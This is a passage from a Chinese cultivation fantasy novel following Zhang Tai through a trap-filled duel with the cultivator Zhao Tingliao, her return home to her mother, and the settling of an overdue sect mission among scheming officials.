其实她最希望的就是郑尔雅也能够来这边,和她合作进行高阶灵植的采集。
当初她和赵庭燎签下契约玉简后,她就把这边的情况跟郑尔雅说了,并邀请对方也传送过来,但对方显然不需要这边的收益进项,没来。
好在对方人还是不错的,听了她要买从西北域到中州大型传送阵,准备在从赵庭燎手里拿到时间类法宝后就跑路,知晓她这个打算后,对方告诫她院中的大阵可能会被利用改动。
尺素金鲤带来的储物戒指中,除了传送阵盘,还有一件下等灵器——[昙裂锥]。
这枚三寸长的银锥入手冰凉,锥型流畅,锥身在光下泛着细碎的寒芒,锥顶也是锥子的头部上有一个放灵石的凹槽。
根据信息介绍,此物能寻阵法薄弱处,一锥破隙。
如果是低阶阵法,整个阵法会被破掉,但如果是中高阶阵法,只能破靠一个裂口,且转瞬即逝,持续时间不过三息,且用于破开高阶阵法一次,锥身便会绽开裂纹,待裂纹遍布之时,便是灵器崩毁之日。
破开的阵法等阶越高,绽开的裂纹越多,所需的灵力越多。
剩下的九个多月很快过去,满足五百株疗伤类或者固本培元类的七阶灵植后,张苔还额外采了一百多株,另外其余效用的七阶灵植也采了几十株。
本来张苔有着两册玉简,通晓地势和灵植守护兽特性,能够筛选甚至创造出采集的有利条件,得到《扛势淬身经》免除境界压制后,更是如虎添翼。
不愧为天阶,《扛势淬身经》除了是一部能抵御高于自身修为修士威压的辅助功法,居然还有炼体的效用。
其原理在于,先将承受的所有威压蓄积起来,进行转化,在能确保自身安全的时候,再将这些转化后的威压释放在周身。
释放的威压仿若在半空中形成一柄铁锤,不断在身上锤打,对肉身加以锤炼。
《扛势淬身经》也有其局限性,随着蓄积且没能释放的威压越来越多,再往后,抵御境界压制的威压效果越差。
释放炼体过后,哪怕完全没有蓄积的状态,最多能够抵御跨两个大境界
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一个时辰的境界压制。
也就是,张苔现在能够免疫一个时辰出窍修士的威压。
其实很不错了,毕竟出窍之上的化神修士在整个元黄大陆很稀少,大部分凡人哪怕一辈子都不会碰上一次,自己碰上对方的几率也小,遇见了也不会失心疯去得罪对方。
见回玄天宗的日期也差不多了,张苔准备回之前那个院落,与赵庭燎进行交易。
禹康平早在五个月前就跟她告别,说是他的神通修炼进入下一个阶段,需要接触大量的人,在一起的日子里,不知不觉间这厮的神通也有不小的进益。
初期的时候,调整她的运气得两天一次,采集的那日顺利,后一日哪怕好好走在路上都要小心跌倒,明明走的是地图上给的高阶妖兽灵兽很少出没区域,但也常常碰上,脱一层皮才逃走。
再后来,对方便做到可以让自己的运气变好,而后一日倒霉几率小了很多。
听祂说,祂是把守护灵兽的一部分运线挪到自己身上了,不是自己不用倒霉了,而是有那守护灵兽替自己倒霉。
本来她高兴坏了,请求对方把赵庭燎的运线移一部分到自己身上,而人与灵兽到底不同,限制更加苛刻,禹康平随自己走了一趟到院中,很遗憾地告诉她,对方的运线本就薄,削减不了。
无法,张苔只得让对方提前把她决定会面赵庭燎之后离开的那日,自身气运能加多少加多少,才放人离开。
正所谓大战之前,必有补给。以上都是她为后续可能的变故战斗绞尽脑汁所争取到的优势。
踏着晨露往旧院赶。越靠近那片青砖灰瓦,心头越是发紧。
深吸一口气,张苔推开院门。
赵庭燎坐在石桌旁,也顺势抬眸看来,苍白的脸在玄色大氅的映衬下像蒙尘的古玉,深潭般的眼底无波无澜。“张道友,久候。”
从储物法器中单独拎出装着五百株七阶疗伤固本培元类灵植和契约玉简的储物袋,张苔朝着赵庭燎走去。
“你要求的灵植,数量和类型都没错,你的时间类法宝呢?”
她并不担心赵庭燎不履约,当初担忧对方的契约玉简有问题,她重新另外拿了一份,两人身上可是带着化神大圆满巅峰强者的魂咒,对方若是违背誓约,往后便不得安生。
话音方落,一块淡金色的碎片悬浮在石桌前的上空,浩瀚深奥的朦胧感迎面而来。
张苔愣了愣,随即一言难尽地看了赵庭燎一眼。
这物什是精通时间神通的修士,将时间神通单独抽调凝聚成的神通碎片,往往和别的法器融合才使用,不过这也符合时间类法宝的范畴,就是太过原始状态了。
随即又是有些忧心,害怕对方这时间碎片是自己抽调而来。
如此,无异说明对方身负时间神通,那还打什么?逃什么?对方只要见势不对,把时间往过去回拨一下不就成了?
无论如何,箭在弦上,已无退路,张苔灵力裹挟着将储物袋推向赵庭燎的同时,出手如电抓向那片悬浮的金色碎片。
36. 死斗
碎片入手冰凉,瞬间被她收入储物法器。就在这电光火石之间,异变陡生!
院中青砖突然齐齐下沉半寸,暗紫色阵纹从砖缝中窜出,缠绕交织,瞬间在地面布下一张巨网,而赵庭燎原本坐立的位置也只剩下残影。
张苔早有防备,在变故发生刹那,犹如受惊的灵雀弹身而起,心道这个老匹夫果然居心不良!
半空凝神看着地面,辨认不过一个二阶杀阵,掌心打出大股灵力轰向阵眼,杀阵破,她平稳落于地面。
然而也就落地的同时,没给出她更多反应时间,整个院落的景象瞬间扭曲,熟悉的房屋、梅树、石桌等悉数消失,取而代之的是翻滚的细碎黄沙开始在此处蔓延。
张苔不敢小觑,也就在灵气罩凝聚的瞬间,黄沙就将她吞没。
黄沙中似有无数细小的虫豸在啃噬,发出令人牙酸的"沙沙"声。
光防守不是张苔的风格,灵力往地底渗入,用上一招“地龙翻身”。
脚下的地面开始剧烈震颤,却只摇晃了一瞬就恢复平静——阵法完全隔绝了地面!
更加糟糕的情况是,在施展招术时,张苔发现,她的灵力还流失!不用想,定然还是阵法的作用。
此阵不比先前那单一简略的二阶杀阵,显然是一个复合阵法,还比较高阶,就她掌握的那点阵法常识,不足以解开。
哪怕是暴力破阵,也不能保证破开,且还会浪费大把灵力。
思及此,张苔闭目,手心抚过眼睫,施展神识功法,《灵瞳观微术》。
这是她早年在一处散修集市换来的黄品神识功法,虽是最低阶的观气法门,但无论多深奥玄妙的存在,它都能勉强看清灵力流动的轨迹,之前在岩壳蛛洞穴里的溟隐敛息草被发现,就有此功法的助力。
随着功法运转,她双目泛起一层淡淡的青芒,灵力最稀疏处很快被她识别。
运转身法朝着那边靠近。
昙裂锥更是化作一道银电,带着刺耳的尖啸,精准无比地射向她感知到的,这处阵法薄弱点——她也是猜测灵力最稀疏处为阵法薄弱点。
事实证明她的推断没错。
“轰——”
巨大的爆裂声中,昙裂锥破开一个足有丈许宽的缺口,透过缺口,能清晰看到外界院落的青石地面。
但这缺口正在以肉眼可见的速度愈合。
更有无数黄沙,凝聚成尖锐的长矛,朝她围剿而来。
张苔不敢迟疑也不敢轻视,掐诀震开黄沙,脚下隆起土浪,借着"地涌术"的冲力飞身而起,在沙矛即将触及后背的刹那,整个人如同离弦之箭射出缺口。
身后传来震耳欲聋的崩塌声,黄沙世界彻底溃散,狂暴的灵力乱流将院中的梅树连根拔起。
狼狈地在地上滚了几圈,张苔顾不上看召回的昙裂锥的情况,瞅准院落大门就往外逃。
蓦地,一股尖锐到极致的刺痛毫无征兆地刺入张苔的眉心,硬生生打断她的身法,扑通一声,她跪倒在地。
紧接着,她的识海不断动荡着膨胀,撕裂拉扯的疼痛让她几欲昏厥。
但识海的状况让她惊得肝胆俱裂,压根不敢昏,识海照旧这么持续下去,等待她的只会是整颗脑袋开花。
好狠毒的功法!好狠毒的人!
张苔咬牙忍着剧痛,大股大股的灵力漫涌而出,贯穿经脉,无数藤蔓从掌心迸发,让其在院落中狂扫。
感知到某处传来的不同寻常阻力,张苔定位到了赵庭燎的位置,突然遭到攻击,让对方的隐匿术法失效。
心中的恼恨让张苔几乎是在下一瞬突然暴起,尚未来得及更换位置且再度隐藏的赵庭燎被她扑个正着。
随后,张苔双臂如铁箍般死死扣住赵庭燎,释放《扛势淬身经》蓄积的威压如决堤洪水般倾泻而出。
于她本身而言,这些转化后的威压是淬炼肉身的途径,但于她附近的其他存在而言,这些威压是实打实的伤害。
考虑到赵庭燎本身只比自己高出一个大境界,就没有留太多的蓄积空间,此时压制下来的可是足有两个时辰类比出窍修士的八阶兽类的威压。
此威压如同山岳倾塌,将赵庭燎周身骨骼压得咯咯作响。张苔也好不到哪里去,浑身皮肉仿若在锅中煎炸。
但识海的异常止歇了,这让她更是不敢松手半分。
赵庭燎周身毛孔开始渗出细密血珠,很快鲜血瞬间浸透衣料。
“以金丹之躯,驾驭出窍之威...好魄力!”他声音嘶哑,却带着一种奇异的平静,“可惜,威压终究只是‘势’,而非‘力’。”
话音落下瞬间,张苔只觉双臂一空,抱住的只剩一道残影。
真正的赵庭燎,出现在十丈外的梅树旁,背靠着树干剧烈喘息,每一次咳嗽都带出血沫,显然这极限挪移对他负担极大。
张苔大为不解,赵庭燎相比她的优势,无非是境界上高了一层,以及诸如阵法等的手段。
按理说,这些在此刻都化为虚无。
《扛势淬身经》不仅让对方的境界压制失效,更是给对方带来压制,让对方灵力调动不了半分。
行动上对方也被她牢牢控制,其余手段施展不开。
只要她持续拖下去,照着赵庭燎这个病秧子身体,没多久必死无疑。
然则这种情况下,对方又是如何逃脱她的桎梏?
来不及思考清楚缘由,她就看见赵庭燎染血的手指艰难却精准地按在梅树主干一处凸起的树瘤上,并吐出一句气音,“剑狱·归藏!”
院中梅树突然炸裂,飞出三十六把残缺古兵器,诸如断枪、裂盾、锈剑等,自成杀伐战阵。虽灵力微弱,但蕴含战场杀意。
张苔不知这又是何种手段,不敢大意,中等仙器地脉金丝缕被她套上。
她的谨慎小心竟是救了她一命。
在祭出法剑对上残兵时,甚至都没直接相接,法剑直接豆腐渣般碎裂。
无奈,张苔只能用身法不断躲避,但总
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有躲避不及,地脉金丝缕出现破损。
这可是仙器级别的防御法器呐!
赵庭燎似是看出她一边用身法闪避一边朝着他靠近的意图,在她又一次躲避之时,不知点燃了一炷什么香,尽管已然屏息,她仍旧感知到气力和灵力的加速流失。
张苔也是看明白了,这人手段层出不穷,尽管体弱最适合的办法是拖延,但对方的手段硬生生也让拖延下去的自己有更多损失。
念及此,她不管不顾顶着仙器报废的代价,直接扑往赵庭燎。
眼见着即将近了,就见对方飞速用鲜血在胸前勾勒出一古朴纹路,紧接着,劈头盖脸而下一股意志,她跪倒在半途,被震慑到动弹不得。
这显然不是威压,但作用类比于威压,《扛势淬身经》应该都能吸纳。
随着功法的运转,张苔只觉浑身燃起一股战意,体表浮现类似于赵庭燎胸前的青铜战纹,头顶震慑的意志,不再对她起效果。
迎着赵庭燎诧异的目光,张苔继续起身,释放蓄积的威压朝对方扑去,企图再度控制对方。
赵庭燎指尖弹出一抹血珠,射向侧旁不远处的水缸。
“张苔…”
在她铁钳般的双手即将再度扣死赵庭燎的刹那,对方染血的唇角勾起一抹极淡的、意味难明的弧度,声音低沉却清晰地传入她耳中,“…你很好。我记住你了。”
下一瞬,张苔手中的触感再度变为虚无。
她猛地扭头看向水缸——水面倒影中,赵庭燎的身影正如同投入石子的涟漪般,迅速模糊、消散!这一次,他竟借助那滴精血为引,以水为媒,不知用了什么秘术,逃遁而去!
呆呆地凝视了水缸半晌,张苔接受了战局的结束。
满地狼藉,断壁残垣,焦土血迹。
维持着扑击的姿态,僵在原地数息,张苔紧绷的神经骤然松弛,随之而来的是排山倒海的剧痛与虚弱。识海虽然不再膨胀撕裂,但残留的针扎般刺痛和强烈的眩晕感让她眼前阵阵发黑。
强撑着从储物法器中摸出几颗恢复灵力和治疗伤势的低阶丹药塞入口中,丹药化作暖流,稍稍抚平了经脉的灼痛。她不敢在此久留,赵庭燎虽然遁走,但此地动静太大,难保不会引来其他麻烦。
她当然也不会走先前正房待客花厅下的传送台。
天知道对方有没有在上面动手脚,让她丧失行动能力后杀个回马枪。
用的自然还是尺素金鲤从郑尔雅那带来的大型传送阵。
最后看了一眼这片化为废墟的院落,目光复杂,赵庭燎的底蕴,比她想象的还要深不可测。
随手拿出的最新地图、万兽谱;通晓阵法、身负时间碎片、各种作战手段……身为金丹,多多少少也接触过一些元婴修士,但没有一人,如他这般神秘莫测、手段诸多。
都过去了,尽管对方最后放狠话,中州这么大一片地界,万千修士,想要再碰到的几率太低,这一趟西北域的旅程,合该画上最后的句号。
37. 归途
眼前的白光渐渐散去,张苔踉跄着跌坐在一片松软的草地上,浓郁的草木清香涌入鼻端。
照例先放出神识勘测环境。
传送到的地点是个小土坡,不远处就是官道,暂时没有探知到附近有什么危险。
睁开眼,起身远眺,只见有巍峨的城墙高耸入云,通体由青玄玉砌成,表面刻满繁复的阵纹。城门上方,“墉天”二字铁画银钩,散发着凌厉的剑意,令人不敢直视。
这是给她传送到墉天仙城附近了。
也挺好,墉天仙城是玄天宗的辖地,其传送大阵区域有直通玄天宗的分阵,回归宗门还是比较方便的。
她捏了个水镜,首先将自己之前作战后的狼狈模样打理一下。
在步上官道之前总算把自己拾掇像个寻常赶路人样。
越过载着凡人的车队,和一众修士御剑飞行没多久,就抵达到了墉天仙城的城墙之外。
类似这种地方,是很热闹的。
除了排队人群之间的闲聊,推销叫卖、小摊小贩也不少。
“墉天仙城最新最全的舆图,在墉天仙城生活必备的舆图!”
“刚沏九转青冥茶,清心明目、消解疲劳,来一壶咯!”
“需不需要引路童子?三十块下品灵石,包您熟悉城中大小店铺、拍卖行、住处租赁……”
“刚出炉的灵米糕!用紫云灵米所制,一枚下品灵石三块,充饥又补气!”
张苔落地收起法剑,拿出一册功法玉简,老老实实排队。
为免高等魔物混入城中作乱,入城检测是每个仙城必要的程序。
像她这种身为统治势力的顶尖宗门弟子入城检测稍微简单一些,亮出身份令牌,被询问一两句有关自己身份的具体信息,通过了验魔石和验魔大能的观灵术检查即可。
散修、凡人就麻烦一点,路引、户籍、验魔石、盘问进城目的、验魔大能观灵等重重查验。
也不知排了多久,挪动着挪动着也就到了她。
守城修士接过她递过去的身份令牌,在核验法器上划过,令牌泛起青光,浮现出一堆只有守城修士看得懂的乱文。
"张苔,玄天宗外门弟子,金丹修为..."守城弟子抬眼打量她一番,“请问你的洞府在玄天宗的哪一峰?”
守城弟子得到正确答复,验魔石也没出现异常,验魔大能点头后,让她交了十枚灵铢入城费后,迅速放行。
后续的路途很是顺利,很快她就回到了玄天宗的洞府。
时值下午,她的老母亲可能在午睡,她也就没打扰,自行进了修炼室,先将之前服下丹药的药力化开,然后对先前战斗受到的伤势进行疗愈。
及至出来时,已是深夜。
她的老母亲还没睡,竟是一直在修炼室外等着。
张苔招呼了一声,想起自己特地在西北域留下的一些七阶疗伤类或固本培元类灵植。
反正契约玉简对她这边的要求只是五百株,没有要求一定得是自己手上品种最好的五百株,她不敢违背契约玉简的硬性规定,但对灵植的挑选还是可以的。
而留下的灵植中,其中最珍稀的当属那颗“长生朱桃”。
她拿出从储物法器中拿出一个寒玉匣揭开,这枚拳头大小的粉色果实静静躺在玉盒中,表面流转着淡淡的霞光,隐约可见九道天然形成的纹路。
一股沁人心脾的清香溢满石室。
百年开花,百年结果,再百年方得成熟。一颗便能延寿三十载,这便是七阶灵果“长生朱桃”。
“娘,这个给。”张苔递过去,“西北域特产的灵果,对身体大有裨益。”
张母王氏虽是凡人,也没进过什么学,修过什么行,但将张苔抚育至有而今成就,且活了这么一大把岁数,该有的眼力劲还是有的。
她自是能够判断出此物非凡,再念及自己的情况,无非是强身健体,让自己能够多活一段时日的东西。
女儿有如此孝心,她高兴欣慰,但合上盖子推回去的动作更是利落。
“妹子,这果还是你留着。修仙路险,你比我更需要...”
没等张苔说什么,她拉长脸,闭上浑浊的眼睛,“想来我儿此次外出竟如此之久,想来与此物相关。”
“我知道我年龄大了,管不着你了,说的话你也不爱听,但是我还是难免要多唠叨几句,无论什么,都比不过性命重要。
你想想你那死鬼爹,也是说为了咱们娘两以后的日子更轻松,外出寻找什么机缘,结果一去就是好多年,最终同村人抬回来的只剩一具尸体。这次你一去,也是老久看不到个人,我这心里啊,一直都是七上八下的。
娘活了这么久,也够本了,不需要你再为娘做些什么,对你,娘也没有太高的要求,好好活着,就够了,这个什么大陆顶尖八大宗门也没什么,被赶出去就赶出去,那种危险的任务,别做了。”
张苔闻言心情复杂,母亲到底还是老了,心态也变了。
她的母亲委实是一个要强的人。
虽说整个中州崇尚综合实力,但对于部分偏远村落,修仙的概念并未深入,还沿袭着几千年前凡人王朝的重男轻女。
她母亲出身的那个村落便是如此。
但外祖早年外出走南闯北过,又是经历过部分中州沦陷,新一任战神出世的时期,对于修炼的重要性也心中有数,便对她几个舅舅抓得十分紧。
母亲虽为女子,亦想上进,不甘就着村中的草莽乡民草草嫁了。
正巧她父亲身受重伤,失忆流落到村中,但见父亲为修士,她母亲还是力排众议给嫁了这么一个来路不明的人。
后续也摸索到修炼法门,却发现自己没有灵根,也弄来过一部能够催生灵根的功法,但是这种功法也只能让人觉醒最差资质的五灵根。
乡野本就灵气稀薄,再加上家中本就不宽裕,母亲认清现实后,也就作罢。
于是变强的心愿就转嫁到她身上。
幼时,家里也一直是砸锅卖铁交束脩供她上学堂。
逢魔乱世,中州自然是倡导修炼的,学堂初期教授习字、一些修炼的常识后,便提供进阶功法,有修炼困境可请教夫子先生指点。
后来父亲离家就杳无音信后,她为此很是恐慌了一阵,毕竟村中外祖以及村民让母亲再嫁的不少,她深怕自己被抛弃。
后来自然没有,母亲直接搬到了镇上,先是做学徒关于灵食糕点,后又是出师自己摆摊。
期间的艰辛她略知一二,但她的衣食住行没短缺,修行也没有被迫中断。
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不过那段日子平心而论也算不上舒坦,心理总是忐忑着,那时候她的母亲就是日日叮咛着她的修炼,盼她能出人头地,她始终害怕自己达不到母亲的心愿被抛弃。
其实现在回看,就是母亲想要通过看到自己的一点点强大,幻视到自己身上。
随着她地位的步步上升,母亲能够提供的帮助越发少,对她的鞭策也只是变成了未说出口的期盼。
能够成为玄天宗外门弟子,张苔是看得出她的满意的。
今日母亲却在直言中有些许松口,虽然可能是在她长期不归的阴影下的暂时想法,若是她真的从玄天宗离开,到时候便是首个不肯。
可能为人父母就是这么矛盾?既希望儿女能够出类拔萃,又觉得只要他们开心安全就好。
这些想法在脑海中迅速略过。
张苔对先前母亲的话进行回应,“我这也不是主动去找的机缘,这也是个意外。”
于是便将战神遗藏秘境莫名其妙出世在任务区域附近,魔物那边也来搅合的事说了。
“早先进入外门被要求做任务的时候,我也跟娘说过,这是极小概率的事情,只有极其倒霉才会遇到,我已经遇到过一次了,想来之后都不会遇到了。”
又将匣子推回去,“娘你也知道此番出去,我得获大机缘,对我而言重要的、保命的,都留着呢,再说我还年轻,给娘的这个就是加寿命的,我用不上,反倒是娘能够多陪我几年,这日我才过得更舒坦些。”
张母王氏这才收了。
张苔出修炼室主要是为了前往事务峰任务大殿交任务汇报玉简。
深更半夜的赶过去正好,人少,殿门开的时候不用排队。
跟母亲打声招呼她就出了洞府,也如她所料,第二天事务峰开工没多久她就排到了执事弟子面前。
执事弟子接过她手中玉简,一听她的话头,便打断道,“一年半以前的?不归我管,你往那边那个房间去。”
张苔按照对方所给的方向,进了那间内室。
有一位筑基和一位金丹的同门在聊天。
“可不是,在明刑峰担任个明镜使虽然穷苦了些,但记录案件时这种奇特事情也能听一耳朵。”
见她来了,便止了声,其中那位金丹同门接过她手中的玉简,一边神识探入,一边问她进行的什么任务,发生了什么意外,拖了一年以上才来呈递。
“一个寒矿镇魔窟侦测任务,以及两个金砂仙城猎魔任务。”
还没等她继续阐述原因,金丹同门没看她,反倒和那边的筑基修士交换了个眼神,随即才道,“那个有位魔君亲临导致魔窟扩张的特危任务是吧?这个我们这里权限不够,你稍等,我发个传讯符给我上峰。”
张苔倒是觉得有些奇怪,问道,“你上峰是理事使吗?你权限不够的话,也该是我去找他吧?请问对方所在的公事房位于?”
两位修士含混地回答敷衍着她。
张苔还有什么不明白的?
不是想在自己这里捞一把,就是孙元不忿被坑的五十块极品灵石而事先给这边打了招呼。
她当即冷笑一声,抽回金丹执事弟子手中的玉简,“今日出门没看黄历,尽遇些宵小之辈,任务汇报之事还是下次吧。”
说完转身就走。
38. 结算
重新回到任务大殿,找了几位执事弟子,问清楚事务峰有关任务完成收尾类的理事使其公事房的位置所在。
临近门前,她从储物法器中取出几罐上品灵茶叶,抱着茶叶罐和玉简进入室内。
这是一间极为宽敞的厅堂,数张宽大的公案呈半环形排列,每张案头都堆着小山般的卷宗、玉简和待批的文书。
此刻,厅内有四位理事使在位。
靠左的一位女修面容上看起来年岁稍长,眉头紧锁,正对一名躬身站立的执事弟子快速交代着什么;其右边一位男修伏案不断翻阅查找着什么;再往右的两位女修则在凝神对摆在面前的玉简上刻录着什么;最右侧的一张公案后空着,桌上物品摆放稍显凌乱,一盏灵茶还冒着微弱的热气,主人应是刚离开不久。
她的进来没有引起任何涟漪,几位理事使继续忙活手头的事情,与普通执事弟子不同,理事使也相当于整个事务峰的中层砥柱了,修为都在元婴以上不说,也在各方执事实务上立下过一定功绩。
及至最左边的执事弟子离开,张苔用灵力往诸位理事使的案前各推送两罐上品灵茶叶,至于暂时不在的那位,就免了吧。
“弟子拜见各位大人,弟子来呈递一年半以前,有魔君亲临导致魔窟扩张而难度升级的任务,之前在大殿东侧那个房间的执事人员说他们权限不够。”
又报了最开始领取时的任务编号。
灵茶叶罐轻巧无声地落在四位理事使的公案上,并未打断他们原有的节奏,但细微的灵力波动和那不俗的茶香还是不可忽视。
再加上可能本就有职责所在,理事使们大都从身后的一堆玉简中,各凌空摄取了一到两份玉简,除了在场唯一的男理事,开口便道,“你这任务逾期太久,按例需先缴纳一笔滞纳灵石方可办理。”
张苔震惊,“滞纳灵石很多吗?很多的话弟子交不起而不得不办的话,直接将这个任务略过可以吗?”
他左侧,也是最左侧,那位底下执事弟子刚走的长相颇老成的女理事使闻言对她安抚道,“你别理会,曹理事是记差了,那条例是针对无故逾期者。此任务卷宗我已调阅,标注因魔窟异变升为‘特危’,属不可抗力,滞纳之说不适用。”
几句话的功夫,男理事使右侧两位女理事查看完调取玉简,对了个眼色,还彼此进行了玉简交换。
张苔不想太被动,于是开始叙说后续踩了传送阵到西北域不能及时赶回的缘由,以及进行记录整个过程的留影珠呈递上去。
如果她所猜不错,抗魔秘境除了孙元,说不定冯阳和叶明堂也写了关于自己身怀五十块极品灵石的事情。
面对这样一笔大数目的财富,且有能力去刮下一层,谁不心动呢?
身份令牌可以定位弟子,在她未曾及时归来,事务峰这边定然也已经查证过她的位置,但玄天宗这么多弟子,也不可能总是查看她的位置信息,但这也只能证明她确实到过西北域。
至于她是否真的有汇报玉简和留影珠中记录的那么狼狈,后期碰见霸道凶狠的散修,将自己身上值钱的洗劫一空,这确实值得怀疑。
事实上张苔也确实没有如此狼狈。
散修她是碰到过,狼狈逃窜也用留影珠记录过,之后便没有留影珠的画面了,她在汇报玉简中交代,那群散修将她带在身边,强迫她服劳力,期间看管她很严,自是不允许使用留影珠记录。
可是而今她不是在密闭的某间室内,单独给某位理事使呈递玉简,而是在敞开着大门,外头人来人往,其内也有四位理事使的公事房。
要么他们关起门来,一致决定要谋取她身上这笔横财。
但这样做的风险是显然的,身为理事使,说对未来事务峰长老的位置没想法是不可能的。
假使几位同僚一起发财的时候说得好好的,实际上偷偷记录着,转头就把横财和留影珠一齐上交明刑峰,到时候别说长老了,连理事使这个位置都别想坐了。
五十块极品灵石,这么久过去了,她身上还剩多少真不好说。
一平分,那就更少了,为此丢了理事使这位置极其不值得。
张苔相信这几位理事使也是老狐狸,期间利害关系比自己看得更分明。
更何况,也不能完全排除留她汇报玉简上“被洗劫”不是事实,她现在手头也确实不宽裕。
为了符合“被洗劫”的情况,张苔还特地在阐述完情况后,表示了能够得到此项任务与她其余同行者一样的补偿,以及她另外两个猎魔任务也能够按照正常流程收尾的期望。
虽然她上交任务晚了些,但也是特殊情况,她也明白这会让他们难做,于是砸锅卖铁也要献上几罐上品灵茶叶作为他们的酬劳。
说当然要这么说,尽管张苔知道,她的期望一点也不让理事使难做,他们有这个权力。
几位理事使都是成了精的人物,哪里听不出张苔话里的潜台词?
眼前这人不仅主动坐实了“被洗劫一空”的惨状,降低了自身的“价值”,更是把诉求说得清清楚楚、合情合理——我不要特殊照顾,我只要我应得的那份,并且我理解规矩,这灵茶是感谢诸位大人秉公办理的“辛苦费”,而非贿赂。
这姿态放得足够低,理由也足够充分,相比于借题发挥索要更多好处却风险极大,走她这么个顺水推舟、全了面子的台阶,自然是更好。
那位最左侧看起来最老成的女修理事使率先有了动作,她拿起案上名录,“根据事务峰宗门任务司所定条例,因不可抗力导致难度剧增、任务周期异常延长的现象,任务可视情况判定为‘完成’或‘部分完成’,奖励及抚恤按规定发放。
你带回的留影珠和汇报玉简,证明你符合任务完成,我等自当也按程序进行,你手里的玉简拿来吧,我给你盖印入册,到时候我再喊个执事弟子带你去领奖励和抚恤。”
她右侧的男理事使眉头微皱,最左侧女修理事使神识捕捉到了,对方尚未开口,她淡淡说了句,“今天是周理事下边的人当值,周理事使刚出去不久。”
那男修理事使当即没再有异议,他当然明白这句话的意思。
对于自己下边的人,他们都有过交代的,类似这种有油水可捞的,下边的人都会单独发传讯符让他们前往。
本来今日自己就没有这个运气,罢了罢了,顺水推舟算了。
且对于周理事,他内心极其鄙夷,这就是个家族子弟,履历大不如他们,跟他们坐在同一位置就算了,还不务正业得紧。
按理来说,周理事借着传讯符离开扑了个空,就该尽早回来完成事务,这么久了却还没看到个人,无非就是不知哪里快活去了。
事情就此敲定。最左侧长相老成女修取过张苔的玉简盖印入册,唤来执事弟子带她去领取奖励。
等候间隙,这位长相老成的女理事使竟跟张苔聊起天来。
“张小友,今日差房那两位说的不对,其实你这事情,在她们那边就可以办妥。
你们任务统共六个人,到我手中的玉简只有黎秀梅和冯阳的,黎秀梅去了丹砂镇的庇护所,自是不知抗魔秘境情况,而冯阳,抗魔秘境所有经历写得特别详细,看得我好像也跟着他去了一趟,但涉及到最后一轮灵柱宫殿最后留下的人选,上边只说孙元给了你些许报酬,你就答应了。
当时我还想呢,这个叫张苔的又重情义,实力又强,些许身外之物就答应前往龙潭虎穴走一遭,还成功脱身。
所幸你是今日来,否则明日换了我的人当值,我都见不着你这样的卓出人物。”
这些话里的意味就复杂了,张苔一时不知道怎么回,也只能干站着赔笑。
其余几位理事使倒是听出了对他们独自揽着这一消息的不快。
不过他们也心安理得,换位而处,大家都是同样的选择,于是或低头饮茶,或假装忙碌。
最中间那位女修理事使则是轻笑一声,“你那边好歹还能有个冯阳带你去看看抗魔秘境是什么情况呢,我这里还只有杜伍的玉简,张苔大后日来,才是真的不必往咱们这公事房走一趟。
话说冯阳的记录真的有那么身临其境?他的玉简能给我看看吗?”
这是对最左侧的长相成熟女理事使,什么都不知晓的不信。
冯阳的玉简被灵力托送过去。
“骗你做什么?再者就算我骗了你,哪有上赶着论证自己才是什么都不知晓的人,这是什么值得高兴的事吗?”
向后往椅子上仰倒,长相老成的女理事又道,“要我说啊,他们这批去往过抗魔秘境一趟的,都有所收获太正常了,结果除了冯阳都不老实,一个个可着没办法及时赶回来的张苔转移注意力,倒是免了对你们帮着他们争取抚恤的体谅。”
匆匆扫完玉简的最中间位置理事使,确认了有同僚跟自己一样,心绪倒是平静许多。
她右侧的同僚之前在张苔阐述的时候,她提出要看对方玉简,对方答应了,此刻倒是不好说什么。
于是侧头对左边的男理事使道,“你说呢?曹理事?都能够大手一挥让张苔帮忙卖命了,玉简到你手里的孙元,所得肯定颇丰呐。结果对你的辛苦熟视无睹倒罢了,反指着你当枪使,还单独找上每天在公事房吃干饭的周理事孝敬。”
张苔在这一阵暗流汹涌中待的委实不舒坦,好在长相成熟女理事安排的执事弟子到了,她也总算能够从公事房离开了。
*
侦测任务的奖励本就丰厚,又由于难度的直线上升到有性命之危,任务结算时,直接给了原本十倍的奖励,以及二十倍的宗门贡献点。
这贡献点累积到足够她去功法峰兑换一本玄阶功法。
她身上的功法除了早年
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在镇上学堂,修习的包含修炼心法的进阶功法是玄阶,其余功法都是在坊市挑到的黄阶。
故而从事务峰出来后,她又转道功法峰,用贡献点兑换了一本玄阶的攻击术法《嵬木巨神枪》。
概括来讲这部术法,就是之前《土木合术·荆棘战枪》的升级版,荆棘战枪只可近身作战,而嵬木巨神枪可远攻可近战,且消耗灵力更少、威力更大。
仔细思考了一番,内峰这边最近也没有什么需要再来的,她就架起法剑,往自己洞府方向飞去。
也是巧了,路上居然碰上了冯阳。
下意识运转的观灵术探测到对方信息,张苔吃了一惊。
她上前与对方打招呼,顺势询问对方怎么修为大跌到炼气了?
冯阳见是她,也很意外,不过关于她的疑问只是随口敷衍,“感谢关心,就遭遇了一些意外,你不用多费心,我的修为我心中有数。”
看出对方不愿多谈,张苔自是不会强人所难,再者对于汇报玉简的事,她也比较感念对方的保留,不然今日前去理事使的公事房有没有这么顺利还真不一定。
于是她就这件事向冯阳道谢。
冯阳闻言,微微一怔,似是回忆起具体是何事,摆手笑道,“原来是为了此事,不必谢我,咱们草莽出身的修行之路本就不容易,能够抓住机会是你的本事,我也何必再去添堵。”
“黎秀梅那边的庇护点,你知道是怎么一回事吗?”对于他们队伍另一路的走向,张苔也是比较好奇的。
“既然有庇护点,当初魏敏贞为何不直接跟我们玄天宗的都说了,偏只透露给黎秀梅?”
冯阳也回答的很爽快:“这个我后来也问了杜伍,因为位置不够。”
“你也知道,很多城镇的庇护点因为年久损毁,有些是新建的,其自是比不上当初那些大能,能够保护涵盖的区域以及人数大范围缩减。”
“丹砂镇那个庇护点,只是个小亭子,再者赤云宫那边也不全是想去寻获机缘的修士,亭中最多也就只能再挤两个人了。”
将原因说了后,他也发表了自己的看法,“从矿韵镇外围到丹砂镇也是有一定风险的,而且还没什么收获,我个人认为,与魏道友同行的这一路很值得。”
“魏道友也算是一个光风霁月之人,我很感激她。”
如果张苔乐意去仔细回想,便能发现,一路上魏敏贞与冯阳的交集并不多,除了最终冯阳主动找上魏敏贞进行过一次密谈。
又能让冯阳如此感激,其定然不是一件小事。
可惜不知是不是人的精力有限,先前的那些事情耗费了她太多的精力,以至于她不再那么机敏。
故而张苔也只是和冯阳又随意寒暄了一番,便相互告辞,并将这次碰巧相遇抛之脑后了。
